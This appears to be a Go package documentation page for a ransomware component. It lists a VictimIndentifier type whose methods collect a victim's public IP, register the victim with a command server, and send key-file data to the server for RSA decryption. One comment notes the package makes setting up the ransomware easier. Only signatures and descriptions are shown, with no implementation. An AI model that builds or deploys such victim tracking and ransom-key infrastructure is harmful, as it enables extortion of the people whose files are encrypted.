Documentation ¶
Index ¶
Constants ¶
This section is empty.
Variables ¶
This section is empty.
Functions ¶
This section is empty.
Types ¶
type VictimIndentifier ¶
type VictimIndentifier struct { UUID string `json:"uuid"` // a unique id used to identify the victim IP string `json:"ip"` Timestamp int64 `json:"timestamp"` }
VictimIndentifer helps the server identify the victim's computer.
func NewVictimIndentifer ¶
func NewVictimIndentifer() *VictimIndentifier
NewVictimIndentifer returns a pointer to a victim indentifer with a generated UUID and a timestamp.
func (*VictimIndentifier) GetKeyFromServer ¶
func (vi *VictimIndentifier) GetKeyFromServer(keyFileData []byte) ([]byte, error)
GetKeyFromServer sends the key.txt data to the server and then the server decrypts the data using the rsa private key.
func (*VictimIndentifier) GetPublicIP ¶
func (vi *VictimIndentifier) GetPublicIP() error
GetPublicIP fills the IP field of the victim indentifier with the public api of the victim's machine.
func (*VictimIndentifier) SendToServer ¶
func (vi *VictimIndentifier) SendToServer(url string) error
SendToServer sends the victim indentifier data to the server to be stored in a database. Takes in a custom path such that setting up the ransomware is easier for users.
Click to show internal directories.
Click to hide internal directories.